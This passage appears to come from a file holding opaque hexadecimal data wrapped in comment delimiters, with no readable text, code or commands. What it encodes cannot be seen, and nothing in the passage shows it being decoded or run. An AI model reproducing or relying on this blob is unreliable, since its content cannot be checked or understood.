ab299db548b8a16af71fe55c1a6457dc24ebe84b50c0624dfeb0ae20b680fa8d9045486b957ad15ff98b48750af25712addd12b84a1a56e6608ccfcf116efb51b4ae6261fdaa079313d5293ce96fb4608ec9ab0ee1cfb51a6739004bbc54c359125f3536e733877c11ec6a062ef26147137e6b842314e8a8d58d4638f1d05c7dc6afb42fa609d098c20c36ee543af1ccad8cf64eab27b73de0dea36196a88f4f773c2bdc36c6c60ed5c2c60d30d98e20a38c232588c950320c4a2b98295a390f1921db33ec935e75a61ad9c5f41e55831690ce91e6fa6c900f4ecefd823edd2ec6344fa6bd2d4c75ead5d9062efe59676c64009eda35dff412c73969bcdd6d10eb5e583c2804efb6fa5696cfd14c3498605294ccde3fdc201e965b5cbf7682dc80758eb8396610a4dad32db799cc5ee8b84b62aa6a6abdbcb309eb3f9b13f6f0cdbd668f738db1e6c9e221ade34ceddb87ee5b89678a0ebcb9c98c546601e775a8bf2637b5e97ffbc2c45a8eab6be74136b21dc9ab04392eb08ddabdcada07faca18baa1ea14a7c11ce16ffb6765297f7af73e627bbc9ddbe72a72410c17b3a901f479d4b8a7a003ec949e165b1b6191f7f109239d91202e39087938297fc870e5d00a97e8ccd58bb6f5f4c3930a8685c17fa67d99380a0d2debda1e6332f68b166d86a529d8332522f02b680f705a35219f7f0f67004ae89490acdb9b1effefac647829895fff455f7af36c8b74a74e11b6809b3b0afd4d66e9c7529dfc39e113f4455298c70e81ac2548823183f7a3d39*/
/*765afe6ffe9df740ae8d0ad1d3d9cc28bf1f93c7bb8c58aecae2ca5681c540561ac5f01081d7aaf6dece199b507d959c116a2494cc90bac3ea221ead55ceb8c75563e46430714108557f71f95ccba2c21d65d96954a173403dc9e789340b6107d93eadd9b5ae863b70a906edc7f522865985a11c58cc34a78abe31a8eba46a6f894c3b077a0f0e34add80be112776699f41207e9ca0f0fc10b9d4378ea61036a5b57e5b9bf42270512f0ec2b34b64c6c2d48d815fab6052dc040c8ab674fab298733db3edc67b7b2b7f2a8d8720434941db8f63e9f8f2507ad345d8254fd134c0251ed152515cd74450e850ac5a634b01a9a27cf1f7c4ec2aacb364852a46007202578ec1b503671d06d826ffab149e67a8fd0922c04fc8d3d5115bf9eb09cf25f849110091fc048eff65d0716cdef3d1a16ec177af8abd377efdbfa57e464a510add2b3d5264978a6b69c3dc902b1db7a14ae542d40fc6ddde0678dcd0b6fdcd74600af5fe5aed7f9e1e98935bcf26e8781550ed0c22871091214abb74fda321e4e2d788a360898e1c142d03d94d31619d646e7af369c5a1138938c442cde7e84116ad02c99d3264cf5de39ad40255748b75e44406a9ad4285308162b44a6518bf8538da732c7d77dc0c496c48e03326533b672105e4a75db0a2cbfd4f2b6965b9efbc28a014cc114f827a7dd584f4fb988d65a6082b052bf97cb546993b7b5569cc1d4c88e2e70b932de50742231db8bc437174afac3a5c0e5ac3af17a98eb011e51761dfa889334c7d33772b5e691f2cf07c5b6eb4aaa83e7abd1188b646ea7398ece98b9a0cc54f3a6c7d64d798eade2330d9559cb81d6d871dd76bada80d27ff4eb8d024cd00478e605fe1919311a55ee421336deef74425c61b1fb7faaf3a7f32d4ecf2365ea605b3f8836f39d5c06fdf54dab77f3b782d9d4978ab67b09ef4f1e3593239a91b28a0c3c5a8b1d71cbb326929f375a0fae812f545130aeed58772d755234f62c50b943c66a06b3da85bb882283161a9bdab37fd2d5681097ceb851e8711bac1c55d1af36c4e2491226e08e61ea4b4d089ec2ff8b9192c869fec558e6fd3c9d139510a6984389f9d60aa3b0c0614ce29610be124593c506dbe96086434ab3e90e6ccba88c52d6a8a3020a7b7e65c637ed6bd6ae82e4997add449d52d551a21c01a9b868f2b075ebdcdd3adf66f6163ae42d501deaae923adf3cf2e9c134bce37355a12aff66708d8e49ecf77fe7abeeb86de5847d48406c2dd1e17c2fdcf4074b8feac6b0f3fa674e37e7f49900298c36e482a28f941071f45589d8dd98eacb98fe7c1adf737037234e047f3442651644b820a349a11720bbdae6662cd367eded66c89a147879cdd0002b3f1c843747a4dbfc1c038045a3293a2aa00a28157161470fe0b867240a345eb2f10abe523575d944f81e20fdf791e3363ebc573fb5d4db7e62cdfc157c0509a6d0ff287f47513db788d8052a53dab28067ba692e4cc6bc9d0a75f71ea0c1e6942a663f0bfe1132f0a28b1d88f4de2ddfe672b9f151d87cc7d432bbc2047c2299a8412f0abe2f56359e5513d08c245bfd13d30cdbcb5e3140d5c11e251054b7ab6b69c055818b8d8bb4e81266a615756047cab0668e6396e1af6fe9ddfe7f5fbfa47bc8cce2017b75670b9f5d1789cb1118fe793c3d67f407a45dd175783ccc358ea4584a364a78da97758b9d6acb1f188b6c7c5eda82ac44bb1315fa719eda301d7c1f7ba99046927799918b18f9fde11f05b1c74aa9d0f36375d7f22081c5563739acf3a55bb2f0f4ff4d7d59d29af6defd3b80f4ed401bab27f3d4df7b8cc6211c33910e59638290e8efd7d6768f28768a0f4339d8c97ebdd84d2dd191aff776041702680b7547cbdd78cdb7f15bff07369c155ade022e6453c44e9e5ac57cdecb9f3647f1adf515a145b8e83974948a7386be714693ad9a3c8e4a888411fe00140e0fec4e507d2c75e26e152f1c3f4bc96ab83c5478ee7790f239744ab838d3803c29b54e4eb903f9bcacac72123af84de65a09dee9718de9fcc2be999808beb3dd006ce1ac6cda0996df98582902ab56f70b5d382af0b394bc97b5c6b0ff44ddfcb2f453e71c65ad0dfe17bb9c3497d047daad32f4f12d3c2c1af5a43098de41d9504e27028be0644e69aa2fbbc1f8b8c9dce87e3fc9ce5a0cc80fb6392202b51d1ecc1df33654704a2a57e91b52a5c231851a30c143d73ca334ef2fdc3c5ea5718a18a932f7ac352af667c67e7f6a35cbd39b01590bd4a0195747a5e389b26fffa8ae01e682a53d47db34a647ecd3b2dc8eb9d638d1cd92c0f87dd41e92df79feb48d20db353a0b772226453214b6e36c355f24497cfd296da1d59ecb6fcd7fc729f90cb072c6ea4897ce21fa675b26800f1bd38bfdcb497673a75e5ea16bc4717d71d8d87070d5e51e8d240aa4639f76d3f62d0603493a73e385d7a0a7f60d394784941fdac997f28da7f986c75c36dd489b91034f25b942e04633857b9f93ced2927e227320e40420dffff3478b5ac93109dda222ef06c5cc83424c47f45e86618a5c0a9cefc3f6a328d1015a4c17a3705de2ad8336e0efb6852f35627bf92720ff96cb0739981b96bf5c15e12a95c416d4aebed1811251c6dd727abd5971c384b7b59d8aab398921cec185c73d5321a303dec70454e21ab882439b1fb0137789aaea81ba0fe661d20b0cabaff244eda8dcc5d28179738417180c6fb58932e1d3212184f84645ae26f236d3db7287a349d83ed99976a9f5b0e2d9320d19f8b48e161ab6b9db0064baf5ef59e710aa0d1fb2380d499e8e44d24c*/
/*e71e98d28d012af102964a603f228c529a8cba15e5709fe8e2af4e29a8c91b056d2ff390c2bc42ad7b95b5756853fb7f8bdd614321818450e0eb8b74ec55291e72d67ce2c72eb1f9bd5aed64d5c67f6a2f002429f8c0419ee61a44532b976778ea374978dcc15aee7ab535902df2b5257f3c85616c54aaa830e61a5df9bcaa70bed76c818c61ceb011ec3dfa32dd28d81a9e03ee6d77ac4420dc3979d4cd2d504d1bd55872059db230cb8b1c0f750d70e06899e1e447b9dcfb3fe8be45bd7dc92dafc511a5c9d4ee7fb2f64290910a251c56924d33af94d6cfa53a1c71d0fc01ceb65f554650740d6cfdcbe831036bfa9327c3c829a7594b8498a96cad58c4386d4be75e3a60e60bc74f4e4e776d540a822bd8ad5ba48a01ee17e435330c15f3bafac82055a6262ca02935307329b7f8bd9a7d1d052f6e10b3e046fc70e1ff96de0e8fb3a14cb620652a8abf98658b0ad6c8a6447073ee979f999994e90f626efda212caadb27361ccc01bc580881497a631ff82fce20d69a4166ad17b8b30bded4f841a572e489aea746ef6538ad8e1d09dabf22aaf5952755f100bbc846bf019f004aeb7072dacd5655c6507d1af60fffb2e92fb23a13af8c37ccbad2781c211fa375d7295701ef2fa4801a31f3b61af9860a081df1573c6af8181ce22f3352ed2b89b83cb62f9a36cf17ef595c9720a87bb3eb02e3ceace9eeafb0f11a21dd73de8043ba2e8b5c6e670034053b8b24a624373220f84290c16d70889e81c9f3ace895c803d2b5f75e072f0bd65cc28ce612671a0f0928a6e51608cba28de1761c1d3b27b1d8172d555ad816bdabc14f860dfaf497499edbccfe438472c5337af49ab4878e57bbafebba185e6bf1c7c96dda6a43eb9eb1af596c3f14fa55bcd6e5bc0737f33f31c73357e827bf1b384f4fb4db52b0fba9a86604cee4b3d3ace77c6bfaa24990ca9924c91ff1683e4752225eb6a4e038c1143bd750a7a887a971fd215dbaea759789186ed0f26eb72bdd8670db49336d56b402464271fa041e67eed5bc60e472e399f6c001d9e0b88efe99857bb218eb6af950f5d03bb1a6f83b58e495d8765c4c254ecd11f19091ae5def4cc3f3a1473c5f35dcc1f9ef935d886dfbd93daa5ab62c469afea9015ceabe94522c1e14f26cae0ae1abbac284466790c5ee579eaff26aed409679559058b811aaa95a6911d0bedb2ac38b4afb26390e526310269c17b66cf8d77cbcbb19383fe24d05a4a2a22876e8d54efcfb80e72961b1b9cbad7d641cdc3bf3690204e8fef6c6d7e280719cbebe3a9281a1572e1e60885b0f82a9dd8ac7e238214711f09c416e3ff7880b507066b1df9392543ea403a6f0f98f99e5cc7f5280dc5d87a5dc9aae35d930ba29a06a493f32bad135fd300d09f88100ad3c0ccd19dd1071be52b1517fd04c365a18a4e5160f38ed12a0a26b0a486184c71adfa9bc753af1c850ed21e1c75297a53264e45331bf958fd5f0a30634ef2fed48d3a3f53651ada8c5e9749116beadefadf32712d00d45fe7cbb3a41d9eb8537b631ee65501f55de53e9745d85319988492760e167544de8a89c46ceca9fbdbf4ef6fd25a4a7aa2340e2c7239533dea3be9a698b2d6af3fa4317dcc911e5f093ac45052bb30ae2e3998c200f800e836f30e0311285f5e700757cef45b7b4d0b9500f0a11e51bf159b7989a664cd37b2b877136f4708a35274193193e72bab25320160f538b32ddd0327011a3f94971b88b1aa5645dc40b19f9fe0802ba84dacb08641acc84590e2b797dc7c0cedfcf78e557da1227760b3392467a500c45fca80a3b948677a9e327b5b834c8b32fd59f47f08dd94bc88831107f8ab850b4f006e1762f253f315bb18eea04bc7722c738eecdad4787818562f0fd3fca7e47e30905d58b28db4e263e97a526bbb0fa17dec84288dd0c7e7cb01db3ba64950ae6c60233e84825ba03ce40a03841df59b54b37991cdb113cd3667595b221e5b8acc644d1c067e3e2d129bd09815ee16be67e0ef4a95d5fb984fa220ebcfb271e3b7272e671b7a86e464ed7dfcdd5345a29da91a411a01b351583870bf71ba82fe0be433c7f3ff8749ddecba8aa987b9517bc26237fc821f4d61ad8d7ce5c1f5f9c94af1ffa64c03339bfd28aa7df3e683909efe3bef513ff2a6a2579e884bf2a62decdc3200a8b2ddb9b0eb38ffa5535bc65b81e913dd672605992cda45313d5bc22c07633d0bdf98e4102091c57b547e46f7739d2aa56b1137a7d4699aa8afa60eb3b9fd1ea02e73ee9cd1eb6de77e71f81579abe72291ea6ef020e37dd2516f4638637aedf9dad7b2917ea29459ec9722f7c8b27d8c37b717572aad19581f3d43f1a9e9d64e58b68b070be8b831e3ccc55060f4d732eea7afa714b67f7a7d4790729d0027609aa4071fcffc7e495f4495ae82b7cb8ed950ad146aaea78d1ac1c133ad20dd8284b1aa151da0c2a372ffa3a6fcd113a5c4f5aaccf439a98ca48d51768657a42de2291f4d631b1dc9bb7d5fa0352213ced265022cc9ebcf814c2f05fe0800e274219068be8cc50bc3da377e8203ff5e7603c5e2c25bc9c72a678ecf22024c3788b5759383e5e5fd1eee66c23f275b641636bbc557bdb43c54cd22512bcab428b0c26ab232183bc9b0ed9f536f56e8f236abe36eff328a33334d27a7bfdd4a27ff91fec81f85561e822bac10898a27f38f7368c176edbb1e2567fe23b5d92aa73240224329b417760bead5252681fba9e1fcd85eedba5fd43a8d722ebd584754a83f252f8f16efc4105b5aa8e61672190e736f188585345d5c713b481edf0fec6a51dbcf*/
/*ab8e812db8fcb437763ab8ada40dba32ac1f5164de834b9f327209056949637dca4627ab4678d7328964f6cc87eb52fa1c68bc8299c1e76a7727ab17d2a46ed4a72dbde28e3e5eba31c423c927fcd840fceac6ac155d0699d56388cc6cc39d571f2962d5538d3c733dfd211007baf3a373313c23a1aba584545bf96d81e54ff476641e651202fb497a084267756666c047554aab95f336683bc0fd7a6354fc0bd3b4ad999da15e85d13f29901cdd3ec7dec1b9a7480df8a583e443cb062df33afe738b23d6500b3d2ba2bc173fa14cb96444f92828b4704864079d3ad3abb3634d7c79975a1dc69175f670c1c9cc7a73a5bb6940fedfc859fccafb6eb87744e8b31f0453ca5c2b15bfd5264cf8e1d19266469e21d7e60c5b74344cd6d75dac8590e4be615036fa2e6a45d0baf5da6dad7de3f92a1b4efe9c1d25528189bd950db9a12d4a8b747b548636398e192daa0744c3b2ab281f5a706bd86427d9a8578ce11a8744b9d762588fa08404bde44b350a6019398d470f4c3ab48276e19815f49348bb7d8ba1c481d3454701422c918037db8e1b99f022857967baffd776caa7203109e9f8c018138d86589e50e0851f702530585cb1f92becc25025319ff4226309a2f174435f87f15d124ba7629ba73b429968bbb2dead57b876b200b643a1b8a13232c1693481901fb189bb6134e873511bcfacd83be54aa658dee0fedd8e6a05acbe6540bdbd41709deeac13194a4b34b9253f255104635a57589af1d1b7394495b22adce64c1319331115ac780b094d9c9b9c87e6a796b9e3eb4e9d788c150e66ffbd69ad2bdf9ad0abbad31e8917f6225199c3e6768262aad5cdc41e81427303b4b57d7f0f75723ec770af3c6c7a71567f777bc5f67fc408747bd381e65e2bd8dcbe944b89c61b2652461bae5645289b62b9a1ed346d273d0916bfa6c064f5cc2794abe029bfb38018f4e7061ab7240c9ca3f58598d274bbca4e2b3917a63edcdcccea878e6db1ed7b76203cc17ddb87b2ca388d4eed8473d7d5a4143c50be53eeb0f37750decb7e2292033e662f71630f780c735a9a9a2b36b9199da6cdb4fc85f7ba24c02690df620c1659c8682ce844b6c34be77ca6f06d29ad161cfa8fed81bd00475542b7dca265cee0f5039adb386605d384f0eb5e22c282000e80a6ba345cad2509f17669215f72646cfae5790c7aef04171e4f2d342006184cf436aa4b5b98a986bf3d11576268e41205f03071ee606306296352b400e9186857caf9767c167958732e578914f47f4af84bdce4debd5c21913ed5257a58d6f2fc4e0f2e6d65246acf4173355e82306bce8bd0cd9c5b6d8bf747941c560446585a23ee2e6efb661d34a19cfade2084ba75470ea99ba952682f72b3e45af2d8e907f23d14a7f334e32d24f15048d334a541adbe297e1368c6b67c6f13493550ad26ef00917099e3934222bc8e75e9365bd3709112bbaaf31e6fc33b659ebad66dd9ef64db3734b6c1c4230a7adb7343e14bc50aef3d0d53e74e9b2d8513ab13968bfba88a2db2ed81065532c3e0862e7f15472cff9a7901c76789ee8ded6daa7cadc25407a848845d1963b0f7e1afb84e9277e8a06eca224333f1e67a8df365fed038d9e9e451684c08875861545358712b98783ff3d1eb758b1a811f9552a5b700d59e35b96c3a89cbd8cb194845be3e01863af5ffd77b9da7f2bf457579dd00ff41290ed8a6dcee762385c4aa28c06bbca774867f9e64b03dc8b33bf45d5e57077a53382d75fa31a38fa6b656563350158bc95c740f7b34babd83f03f4c67e0f325be1cd8a46b6c3d1d57519f3c1b64bb27a9526159195c3ac8dd2eccd4b4f157d2b65f3e30f29386b0f118aeacc68ad68118f3198d00dd3867396d0213ba69079203ae41d512f44a3093ceaec14d5b837ba4b44f8b3f87e19e8b8bdefc6b966f96d9e40d864a104505f8c63779ef9d67f984d7b23ef3a068f5aaa021a39d304c9f61a535d2e16266a2ad9861c21094a6d13e267208e6002107a8b0d572cf6ca4c013f0148e1f63531d312bdf5a427b69624e49c706a1f93e07c6c44df620a66acb184dd7a6569c1cd7bb73b8eba958fefb5ce9e18bd700a42c4559fb77066347b740131d1fd5660692bfb203d98c0e7eac0cc545b7755520b416d1f2423fcc39713fa2b8ec6ceef3d406a3aac9d2195492a42905f7665b58aec021ff2ce854a6801ab29b932be69979b475faf0861102581292482a9b7688504dac0e9269baf7eee52819aadcb479d8546f3f1cb4a2d2131f1f0f7dea6559cbdff19af2e5497466f35149e42300e81b1d674869c5b6fdde2c66f45b54c998d8967b72274957f175059c61225ae4a41cb5fae32e860874498f8d76a079f43563dfb7baf27b0fc6a1d82e1c04723a6d1693eea6dbb5187c67ff6b1b4e4cfe3aab86887af8d82af6b82f90b77e92503c14194d802c562e39b9485d2c0c50590a51e67439d1d4ac84d34d55cd6f4269a934a18b13e22dc5265905d6dfaedd8c83b59cb57dec106caec64ae3d8bc2371478499d4f648c4327b8b97c004c7d019a86f08d1de10d89478afd15c1d3ecd31feeb8818cc098b71023fa681c70c9e1a1f034f78e80c96063c351353a802969f1eabf2c047bb352f138fbb33a25c355ac3093dcca9a8b23eaffc4efeaa3796284da934c2d65b75af63cb9d4014700436d1045c8617128b6b4ffe55cb2184884558b5b5d23a273519e400f97524b0fd9420e7185b6cabbbbc222f904f33dabd2f06c78bca9d9dea036e0787c4bb94d8c057ac48a2d86d94fa5b27ef15692725e5960d98c9bea8b962*/
/*18af71445097e21585f0969e8bb30204ea1163540ba0581737885788836867618b4f7a4940ba9fe8684e4ab7144a47f5d6afcaa69cc941ded769a4ef76420036f5a511569a0883f1ff19b288a3b66f879beafa576536f4ea7b732573d9cf50b6ef3100efcce9cd760b7945d7c07276e6c0236a5beee0210dd8558ad22e19a939355db08d5ec190d2bb508ec8647686ccecde19be8e605e38bb6b2a2f2508fa2f81d5ff7a0314673626db5998de4757c989f063c67e5e319156cd5612c4a6f640f1868ed4449c05d34a0217ce3b97088ecb3980b1fe515cdee485c76677c3120244ed301005c281553e147cb344be479c01ba572b4c376baa7c9cd6408cbeb118d1817b3c477a12e49f9634c43d6c18488953b156e99fa5d49520ecabc4f8f444bf8872d1ea63d8d8a949c73ee39a20168945c651d8c9fd5600775521370410c6d8bb8a618b9b85cbb245199bf3b0f7cce7349eaed70696a19c31e435993b9f89c7c402a948f264439bac9e8ca4b796d85eba69516c22b1ef272b60b60669467e5f1d0ae37b1afbda80590d1c54e58c24f4513337e1bc011d92986dc9b5857945fb7b71add5fff83ddfdc02848be89a01fad00e159f9fecf8ce1fc09e85524a3113a8390ce2ebddafffc0c9e64803652d145e5a8319b908b6dc36140aed0cab4b383d311200aecf42c3f77ff7025f2bd40d6686c03a48c9da98a7a4506e3ce385b323f69895328a1ff63a9ed414e7053f77c4bcb653552b03cecfa57b55f78f2d988334aa23076dcac4783db858a0848e6a0004fc17ad3ebf165ddf40429aebe65d9594da4c67af737b29d5fb16ccb86813722f3664f06ee58023643c35d4e2f31478ea863280f937456a654f2a8aba4d6257d39e7b7c664abd305fb141c601a05ff755ecdfbe7ab0ec2c4e93f3999c26ede292ab532b1ab24615257eab18a7b28a60191086648ca1ed042ea9bdda7f0d027b066f8cc5a66b117ba93a19730ccf926dd8a501c4f460424ddf94809c8b5727895c66c8663cc649db018d985f831cd8a623155026692834cfbb7f8786d29f6655c0737acba91d81256901bc82d95b7ca3f05d2cb5f0488d8394f486fad54fca00d02af252dd58bdd07a62d0773e659b084c25d0939c91326d9e58baa892b0073c82fc9f9840e5de3175c8212eec5083a6ce3bca45b6c66a047195e3bcef569ab084addcb3696cf0ce22153686a86e7d1e284798aedc67144ea08d719490fd712905f1cec21e641ebcb687691a4e36be5eb87f4ffbb53f3a94869bc4651f0ecbcd430ef8389396516efbbfc936d64c48f77246c618c019df237590155bf3dee3933940957b7192c458c282c7ce24bd386fdae80ce7838fbb4a65a8fc4c69a2716906e53122ec663097f08e2bd5f9abf364c2b132611502fd3310049f780ff94f178f7c5d7ce5d8e52362b7c793c854ba7b1684b1155e5d8ea5f5a9badd0346af83a4f0523e948d0a4fb10cc457312d9a8fe90d4e59e34b2f9e21b151685f61e0f12ad06219e554a5e01fb7718b8cbe5f255d55b1f49994bf6fcdbd20c342d80a1621dd581244f5254503c8038e01e8533829e0ea80541c84de52a5b988793456960a368d9fa6f5533fd3eb4f6043f70bf275109cb49d96d093f4b6d928a2a84356bbd8193a8773dbca24166c12c344fb70ecfd99d24fa2c439db7c56f4c09248c53bb9d555125595f5dba5ddc70ca1fdef2a9e536e8f2d5c65c02ac64dd88b04988c0372f541b1df6d6320600077e934999035ba2c4b8be26b4ddfd187cd2d0a8c84e1962d36f6ddc77682cad611ac80fac20d62077da8f9d6712b5bc23e415ce46d1a722417bd648966c687deb53458f0f418cd7ab96abd81dd157af889d47e1e9d0c15af7362665ce11011f130c285d0a7a78fe9484b30a4f86a01e9f78a527e2afee1098dadbd729da3328d7d851d7c71246139a7adc178388ebeb3ad09e71b5d5ac413d90eff91164264c7b17cbc735d35becb9a4aca1d100cd02d6da4020b59a4c734a8de79c5e9895d7de80e919f5f1b77a63935e216ddd0cb47921e2b6d0f4811362800abaea8fd5412a4c69f637bc6b498bfe61145a1f310fd189453e86d8b6129bbb701abcdd4889360abdc15c1e183475c39d480baec787c2f5f2c4ca9d1a094653bdf8406a8c102da83cce004153c68f2dda0c9c6d08028803080bac57e3e4784b930c3f233d256e6a340ceb7c8b3f52b2a4cdca88cf15321960e4ecd846b45e38a92572443e17ba3d4843abc4a3a803f785b2bf0d02f4e45c187be72c13f5570729cb091dfdc54f7190c4355a58ed8f1845f6f81f1d562113c81f861b693bf24f936468251471bc467de08e9430af33bfba86d0468c745a2ddc46d358cd0a7c7dc5b9da63aa157d8eba6a223462aea9155e2b19ae05007af8c677ac7718db9f51fda8f2d32deebbcf5fc4b946ab861286fde8f1cfff7ca014c0f1d29ad605ed227340c084517c8a7f2035be2509f5e27289af30ee1b160df31f27cc7d01a74789e9b264de31b179bd41d6164005d9765c65735ff689b5a7f9de6d25a42f1126afebd68298e82e3beeb5b9d0a8a1e38c09821555acc56ae106e948623595d9eac2dc4d6955d23659237fb3bc10a933175d95d2d60fa8385e6bd62f2e6c2c8fe68a226cfe2efcb7e3e5573b1534c28fe9472f557d5881181089c00b1e63a6c99081e2c2001e53aa82be293bd62446ec0747c9924d5e7044f790c426ef012958b351fbc08f4aa5dd8609ff300991d6b1720afa797e6dd2245c8442f32394892e2ed2da2f8ed5fc64565771bf20aed13c59efe629a56e7f97efe00*/
/*3029c40d3db9b7a05f70267a8b5ddb93c09a9c0800b3076721abab7814289b903071b0d87eb9a7e1ffcb5be30da9f80d96f08506910c6ff352a82c3ec47d74f4bee720e93f40456db4bb120321c06725580199867250774a6b24b159c3e29fd990250a7f390aa4ef1a935b2b88ccda1f90a688532f514e6b9719f5bb2f535a3f5fdf12a703bf5835c3c3514cf5e14db0374be83898e72213998238f9e6e4f3d28bbb66f375f30b1fcf2bbbccf217f17e4ff65ec1e4b0654b17c7e5a4a166a782a31ce3cf35e7c4af2e89a1420b5bcd0fddbfe0406c238f32eb390b5997b4dfdd6e85532d80726351ee79ca9c948de605c57269b1136531249f2e437ef6c4aa5e2be54df5e205fa4042eb67de0c9e0b8088fb0f41ebf74db204e6b9683a5f44855d8463a3233bb08074ebedb52fb030f29aab1d6d6c73abce7117d0a946440e00ea1103d912f4505b84000a7959f5ccec1561b98a3c764c25d5d360cec7b17915396d61da98218146952ebe9c5414e16525bbc30b2d271deab9ecc033b5203657351053932d74c34b49a90387b65a0bb6e500ea37cc75c69d314a8db3a519e5ed16ac36da6fc98fc43e6e13f3aced3d00cad0cc1897bbe488d50d454c8a1a1701099353a57f4518a7afb1c12032a64f914ab876b2483176b4890342775fe93a744e06d23042128880bb206273f5ddb078b8d3a274fb8697cf22e678a7da0c06dbd8cde1ecea5715ca2e97024bc5488258e767289be6c4dbdf94297c4e7ffca6e4ffa1be87ce684caaf4bf5ea61057a61bd50a19d332a5ea5065f7376df7fcca87d746b4b8c48671a355a9e001e1e091ca73f64d1c7ef3fbcd24de98f7223648f651742ffb56283c6ee098e90e17a4076e28ef00e4e5fabb6e9857926b824ae761662bf759dac3271ac5ec4f8816c437592085acbb2be16e1f01371eaf7782ee3e69bc556008d5205d656633e5fd84420161fedcc4309fd3c4d596035f6499fa4ae01d2d312d02d256813420671e471b2aec5ad2757864cc68cd81d31bc2c5bc75319ea1fb4b6f39874638b6af40ec0d6524828e07bc80a8e39dd60da5ed83e08444148be53318d8f45818d71578d508fecd1db48e3ff115447b08202d174d267a413790eb7ab3b26a0bc030330ff3626c8c3ac24500dbc352e37a0bb53ca544f1c556bc6e83b0cd7c7e12421c434ef59f118e5c0655348408884b30df0910e032b21e558c75d15916660aa09fd9fe584f445ac18745321224a4994a6076f0b11ffb479152729bd668e8351dbf67f01c466033c4f12961f30983e754f381a20713445a438afa3bcd26d3a543eaf10a34ddb4628f8da6cef005bed59bcf42559be7a9e48a7c8a1e2e7affa345d3f32f70a480fe8022ecbb356e470f82403efdb035a43dca1746a399642b2ea13d3f1435566d221a9ab4a711b4390850284224daa5bfe44a9bd9a170f6b505ec73c101c1743060a38d112f988d4190a4ad8e9eebec209277efe0bc9e5b31adb12cb91db6f1e7794eac1176dc49891224ee381f4d4ad870b5303c2535596f64e17336b03cc011d4e831b2f18bc4c3e9c64194ce7e863974fb0e11315d0b361a0b49573f29972f4b75eb160bf7c0e18552d7f64893d8b3eb4f4c930cec81d50b88b32df5e45de12dfdfca852722608f8dc71d00470cc8566bd1c7c51365a3a13b532b964729245b16263b8a8c5f70c710c467189c9d26a725a53acab8decaf3b116dee24045103cd38e2c0c150cd75909287c70641ab2eaae54e18ffb322360e12cddfeeb5074eb7a967a1cf0cf7266213e581e8f90dd09558a071a5436f8914d3200bec044900a0ec9f86a0a73a5bc19950801383405468b2f73f6e0f1cc421c4e9febafcce60e9a840f326a3b7203b842bc067a448950330d437ef6cf4f445ebdf442aeb07a86678ac906ef570b2b94276fc879f94425bbbd2a90881a249a0c86d9679cdb56d4c9df04a1d71f2c02c00ad0a67d8c6fdb5bbcaf54083230a4347cd98dd03d3fcdf0db5138c322026494bee13c426892b560715ae32dcebdb4536b11f1c53c783caa1effacfd901e516fb168c1dd9b78464e521efea5870f9279418146832c0fc3e792fd0bcb54f6bf265ad0a0f2163d1018c7725dc8fff66601fdd1bc1a42d8e3b15a9fd3ab0344174781e8e6f12ee83888f42ccb90538445c4baa20314aaaad3a6fbde5df0dc05c7fa64ff89921a5c59bfcd8c736337ad059987d965f63f9f6382719ef3efd298977d5b612922268956f7d014fa983e852e3a2e0995254189267bd8a4f56c98c64bce29ea5f85cccc82d3cba1ae604f20135b4f473cfc053f8d5e8bb0488a487c29fd8f75b7fdde9a2134bc036393dcc36a5074cc93685f9e2bee14f4759fab7f07054cc54d92fb222061d13ec376c5a43cc3c710d81e77b215615e7d7548d18c30e41ef525941ca112615fd2f344c5cb770b4155100b994a6386baea468503fc504ff016b979ccc17a3fa50143e2f36fb71e87b9431a25e321a2dec39c53907a347de8788b2a2c22f1a46cdb7811c1d608ffd376cd0964d1b923c8ce5fc212d9fad056b11193998317421afcd70ec449e55afc4490b0e794e1b50c27e5a27a59f1c444d67a1a408f713ccf5b5f3ee54a3eee460d02a58f62d068384bebf72404d1b2ac060852762d0dbfe9c3ee8a580e650d4ebc9f7f75ea4895f894a18bbd7f69c2d8ff2fb76acbc78b9c0d9dace3978b601a2a5aacf1ef875d6780007c235206f0f810788e134281c69a2fc6e9344f6cde34b9bd767c8d4c72eb2f8d3addbcb74ae9a39b7a20d1cc89763f167c94a382b4d223268a1c5*/
/*ebb7121fe91d626d06047f7bf7c2448a0158c02eadd2fc09bb7391428f5e2ee4a7307bec5847af16eb47ba99862dd070906b4213b97c3a2330962f4e3da5420670eb7b9e00647a9df55e9aaf696da2b20f6719f9f3cf7b0526d0943350d8529b1d562e848ee5d5f08fb7b24e5a449e98a950cd92e2f341f3851e014292c10aede5e6915d9d1bd8e2a38db01767b2ebcc680d4cfd919269088d53c5509f2ed34dd5045932a6e07c4786e6cda682706673ba818dc9367c90062bf952a2352f289170b909673daec19fb2d3b19afb0e786aec01d2d791fa80a60315f1f25224e4468af5323b19cabb55f8f8f23fcd5942a11b5534137fcaec606b74b78b688bcb6e5089642eb0407e1a6a3077265dde8862c077654bd427a7236d89b9567f87ad8b1284e6302865ac422f033ee32005c590a4960756118e1da588080b3a6aa8cd0ce1a564bab4fb7817fb715db198789e2eb5e09a2f98750f64057b0e6cf059d62eceb28c4386011322f81ead3311ebbd9ce7174d8f726f925da0d6068f3dba97e1a7714c57ff00fedcd92f10ae6f55513135d42bbcb811039a8c243ac571761b0398b8810f6d2ab83a996f74641c82077ed22261e7abde0a6fa00c0e75443eb9ca63dc78e03e78cb16ee04481dbeebf6a954c0c004ef95fe9b5f51747f437bfc0045cbfe53a8ede4963cab979c5cb5218a3939a78f5c77758331d65435790918d8e39c59c3414f56a43c445fe3fe3aa56f3b0bf472af4e3fba3c44af9fadd95c5490ba9e64395fbf40aa1f45e331d9868014ed7629234e6455b8fbe75e0900f4bbd66e747b1a93069c31b6b7b097d40e38f98538ad37e1b9680426b99af5df0bc9464e27417985f346f6cc20dbc929006be17a03588a45a1d5788c0da62b7d9f22f3cb09b0fd322f26abdead7cbcba5cbfba8e4e8a61b9e29b34a6a686dd1f0733c53c536d081a2e73447e3708ccf20bf91fa492936fe971ef906d8f361adce6dd1f45c591f02e67b3f5ef9f4c34055600032f3ed3bc933072fbc9f8696276fb0e52b1ab7e760dd0e4f734139dba6846c5f61c0de58e3f2825e14475f71a7d69281bc883d2914b29e19a20a738dd11e0444569fd697e1f15ba65c582f3b71ea41a59723c1f21595e82c6237d82dc6d1a58d5d118fb11407dc4df9e4801a5c5e08f3b98ab74ce6a309426f6048e21d932e378b5fecd8006c389c243b7ab646735f0911157fee2fa3c881d7dfb528588fd111adcfeef1fb824ee6e8fa5cc33220363cdbbe8d31fa7185f2c81657c2221542cbf0fd055e2b8a3eea33214c03e92a7cf22bf97db9c1488c06bcf932c2c6cfad2175a5a9dcdea07cfc94c305a9d26142368ba427a14f43d3b7f5f30